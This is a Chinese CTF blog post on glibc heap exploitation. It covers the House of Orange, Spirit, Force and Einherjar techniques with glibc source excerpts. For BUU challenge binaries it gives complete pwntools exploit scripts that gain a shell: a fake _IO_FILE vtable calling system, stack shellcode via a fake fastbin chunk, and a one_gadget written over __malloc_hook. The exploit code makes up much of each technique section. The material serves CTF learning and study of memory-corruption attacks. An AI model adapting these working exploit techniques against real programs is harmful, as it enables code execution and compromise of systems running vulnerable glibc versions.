该系列内容较多,将会持续更新
House of Roman 爆破概率太低,不建议使用,了解一下利用思路即可
House of Orange 版本 glibc-2.24及以下。
先介绍一下一个重点知识:如果在分配堆块时, top chunk 不够分配,那么根据申请的大小,会通过sysmalloc 来分配,如果申请的大小小于mmap的阀值的话,就会扩展top chunk,将old top chunk free掉,如果大于的话,就会通过mmap申请一块新的堆块。所以可以通过把 top chunk size 改小这种方式让 top chunk 进入unsorted bin 中,从而产生 libc 地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if (av == NULL || ((unsigned long ) (nb) >= (unsigned long ) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { char *mm; try_mmap: ......... .......... if (old_size != 0 ) { old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK; set_head (old_top, old_size | PREV_INUSE); set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE); set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), (2 * SIZE_SZ) | PREV_INUSE); if (old_size >= MINSIZE) { _int_free (av, old_top, 1 ); } }
house of orange 利用过程:
修改一个 unsorted chunk 的size字段为0x60,利用 unsorted bin attack 将 _IO_list_all 修改为 main_arena+0x58,而IO_list_all 中的 *chain 指针位于 _IO_list_all + 0x68 的位置:即main_arena + 0x58 + 0x68 是 small bin中大小为0x60的位置,所以需要将 chunk 的size修改为0x60,让该 chunk 链入 small bin 的相应位置上,在其上布置好伪造的 _IO_FILE_plus,那么就形成了一个伪造的 chain 链。伪造这些后,只要再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数
malloc_printerr:
1 2 3 4 if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0 ) || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0 )) malloc_printerr ("malloc(): memory corruption" );
触发 malloc_printerr 后,会形成下列调用链:
1 2 mallloc_printerr-> __libc_message—>abort ->flush->_IO_flush_all_lock->_IO_OVERFLOW 而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
_IO_flush_all_lockp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 _IO_flush_all_lockp (int do_lock) { int result = 0 ; FILE *fp;#ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock);#endif for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; }#ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 );#endif return result; }
所以伪造的 _IO_FILE_plus 要通过下列检查:
1 2 3 4 5 6 7 1. ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 或者是2. _IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
例题 来自buu的题目,程序不存在 delete 函数,无法释放堆块,所以要用到前面的修改 top chunk size 的方法,从而得到 libc 地址。
image-20220313210805600
漏洞点在于 edit 函数,对于写入的个数没做严格的限制,可以写入大于申请堆块长度的内容,从而存在堆溢出。
image-20220313210907191
伪造 IO_FILE_plus 后的成果如下:
image-20220313170817299
image-20220313170916290
最终只能在本地getshell
image-20220313173210640
远程一直都是显示 dumped core
image-20220313173230192
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./house_of_orange" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn" , 26547 )def debug (): gdb.attach(p,"b main" ) def add (size, content ): p.sendlineafter(": " ,'1' ) p.recvuntil("Length of name :" ) p.sendline(str (size)) p.recvuntil("Name :" ) p.send(content) p.recvuntil("Price of Orange:" ) p.send(str (520 )) p.recvuntil("Color of Orange:" ) p.send(str (3 )) def edit (content ): p.sendlineafter(": " ,'3' ) p.recvuntil("Length of name :" ) p.sendline(str (len (content))) p.recvuntil("Name:" ) p.send(content) p.recvuntil("Price of Orange:" ) p.send(str (520 )) p.recvuntil("Color of Orange:" ) p.send(str (3 ))def show (): p.sendlineafter(": " ,'2' ) add(0x30 , 'a' ) payload = 'a' *0x38 + p64(0x21 ) + 'a' *0x18 + p64(0xf81 ) edit(payload) add(0x1000 , 'a' ) add(0x400 , 'a' *0x8 ) show() p.recvuntil("aaaaaaaa" ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 0x3c5188 log.info("libc_base==>0x%x" %libc_base) _IO_list_all = libc.symbols['_IO_list_all' ] + libc_base sys = libc_base + libc.sym['system' ] edit('a' *0x10 ) show() p.recvuntil("a" *0x10 ) heap_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 0xe0 log.info("heap_base==>0x%x" %heap_base) vtable_addr = heap_base + 0x5e8 stream = "/bin/sh\x00" + p64(0x61 ) stream += p64(0 ) + p64(_IO_list_all-0x10 ) stream += p64(1 ) + p64(2 ) stream = stream.ljust(0xc0 , "\x00" ) stream += p64(0 ) stream += p64(0 ) stream += p64(0 ) stream += p64(vtable_addr) stream += p64(0 )*2 stream += p64(sys) payload = 'a' *0x400 + p64(0 ) + p64(0x21 ) + 'a' *0x10 payload += stream edit(payload) p.interactive()
House of Spirit 技术来源:https://www.anquanke.com/post/id/85357
House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。
适用范围:到glibc-2.34依然可用
使用条件 (1)想要控制的目标区域的前段空间与后段空间都是可控的内存区域
一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们输入的数据是无法控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间,示意图如下
http://p7.qhimg.com/t01c4e1f8669a8b77bd.png
(2)存在可将堆变量指针覆盖为指向可控区域,即上一步中的区域
利用思路 (1)伪造堆块,在可控1及可控2(可控2的伪造size不能小于2*SIZE_SZ且不能大于已分配内存)构造好数据,将它伪造成一个fast chunk。
(2)覆盖堆指针指向上一步伪造的堆块。
(3)释放堆块,将伪造的堆块释放入fast bin里面。
(4)申请堆块,将刚刚释放的堆块申请出来,最终使得可以往目标区域中写入数据,实现目的。
第一步中的伪造堆块的过程,fastbin是一个单链表结构,遵循FIFO的规则,32位系统中fastbin的大小是在1664字节之间,64位是在32128字节之间。释放时会进行一些检查,所以需要对伪堆块中的数据进行构造,使其顺利的释放进到fastbin里面
注:fake_chunk的堆头标志位只能为0或者1(如0x70,0x71),其他两个标志位是会影响到堆块的释放的。
例题BUU-lctf2016pwn200 image-20210905204052044
常规checksec一下,保护基本没开。
image-20210905204120841
这里的输入存在漏洞,填满可以泄露出rsp上的值,获得栈上地址
http://p8.qhimg.com/t01eb7870c8fa4fde39.png
目标地址的构造为上图所示,在money中输入的是伪堆块的size,在id里输入的是下一个堆块的size,以此绕过free释放堆块时候系统的检查
image-20210905204549591
然后就是:
(1)覆盖堆指针,在输入money的时候,会覆盖堆块。
(2)调用free函数将伪堆块释放到fastbin中
(3)申请堆块,将刚刚的伪堆块申请出来
(4)输入数据,即可修改目标区域,eip,使其指向shellcode
image-20210905230703667
这是构造出来的fake_chunk,后面就是要把这块释放了,然后再申请回来,把0x400b34这个地址覆盖为shellcode,即可在退出程序时返回到shellcode去执行
image-20210905212358111
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * context.log_level = 'debug' p = process('./pwn200' ) free_got = 0x0000000000602018 shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64' ) payload = '' payload += shellcode.ljust(48 ) p.recvuntil('who are u?\n' ) p.send(payload) p.recvuntil(payload) rbp_addr = u64(p.recvn(6 ).ljust(8 , '\x00' )) shellcode_addr = rbp_addr - 0x50 print "shellcode_addr: " , hex (shellcode_addr) fake_addr = rbp_addr - 0x90 p.recvuntil('give me your id ~~?\n' ) p.sendline('33' ) p.recvuntil('give me money~\n' ) data = p64(0 ) * 4 + p64(0 ) + p64(0x41 ) data = data.ljust(0x38 , '\x00' ) + p64(fake_addr)print data p.send(data) p.recvuntil('choice : ' ) p.sendline('2' ) p.recvuntil('choice : ' ) p.sendline('1' ) p.recvuntil('long?' ) p.sendline('48' ) p.recvline('48' ) payload = 'a' * 0x18 + p64(shellcode_addr) p.send(payload) p.recvuntil('choice' ) p.sendline('3' ) p.interactive()
House of Force 来源:ctf.wiki
House Of Force 产生的原因在于 glibc 对 top chunk 的处理,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
那么,当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案是,可以使得 top chunk指向我们期望的任何位置,这就相当于一次任意地址写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 victim = av->top; size = chunksize(victim);if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
这是top chunk在分配堆块时会执行的操作的源码,会对用户请求的size和 top chunk 现有的 size 进行验证,并且将会更新top chunk位置,以及size
我们主要关心的是对于size的验证:
1 (unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)
所以,设想一下:如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证。一般的做法是把 top chunk 的 size 改为-1,因为在进行比较时会把 size 转换成无符号数,因此 -1 也就是说unsigned long 中最大的数,所以无论如何都可以通过验证。
1 2 3 if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size" );
在glibc-2.29时增加了检查,size要小于等于system_mems,所以该方法在glibc-2.29以后失效了
利用条件 综合上面的背景,我们可以得出,要想利用House of Force,要有以下条件:
例题BUU-gyctf_2020_force image-20210916151101226
常规checksec一下,64位保护全开
image-20210916153042695
image-20210916153101689
进入IDA,总共就两个功能:一个是申请堆块,堆块大小无限制,并且能返回给堆地址,然后填入内容是固定长度0x50;另外一个puts功能。。。屁用没有!因为存在固定长度的写入,那么只要申请一个小堆块就可以进行溢出修改top chunk的size位,所以House of Force的两个条件都达成了
image-20210916163309864
因为程序会返回堆的地址,程序又不限制堆块的大小,所以我们可以申请一个大于top chunk的堆块,那么程序就会调用mmap进行分配堆块,此时堆块的地址会是libc中的一个地址
image-20210916163532720
image-20210916205725583
image-20210916205619022
然后申请一个小于0x50的堆块,让堆块能进行溢出覆盖top chunk的size位,修改为-1(也就是0xFFFFFFFFFFFFFFFF),同时也借着这个堆块能获取到top chunk的地址。然后直接申请一个超大堆块,直接占满top chunk与__malloc_hook之间长度,然后再申请一个堆块去修改hook的为one_gadget即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./gyctf_2020_force" ) libc = ELF("./libc-2.23.so" ) p = remote("node4.buuoj.cn" ,28894 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("2:puts\n" ,'1' ) p.recvuntil("size\n" ) p.sendline(str (size)) p.recvuntil("0x" ) addr = int (p.recv(12 ),16 ) p.recvuntil("content\n" ) p.send(content) return addrdef show (idx ): p.sendlineafter("2:puts\n" ,'2' ) p.recvuntil("index:" ) p.sendline(str (idx))''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' libc_base = add(0x200000 ,'a' ) + 0x200ff0 log.info("libc_base==>0x%x" %libc_base) mlh = libc_base + libc.sym['__malloc_hook' ] ogg = libc_base + 0x4527a realloc = libc_base + libc.sym['__libc_realloc' ] top_chunk = add(0x18 ,'b' *0x10 + p64(0 ) + p64(0xFFFFFFFFFFFFFFFF )) + 0x10 log.info("top_chunk==>0x%x" %top_chunk) offset = mlh - top_chunk add(offset-0x33 ,'a' ) add(0x10 ,'a' *0x8 + p64(ogg) + p64(realloc + 0x10 )) p.sendlineafter("2:puts\n" ,'1' ) p.recvuntil("size\n" ) p.sendline(str (0x10 )) p.interactive()
House Of Einherjar 其实看完wiki,感觉就是 offbyone&null 的利用方式,借着溢出修改下一个堆块的in_use位置,然后造成unlink制造出堆块重叠,所以就不过多介绍了,看我的 offbyone&null 这篇博客是一样的,而且我还更新了新版本的利用,当然,是来自大佬的,我只是个搬运工👶
过程:
需要有溢出漏洞可以修改物理相邻的高地址的 prev_size 与 INUSE 部分。
在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。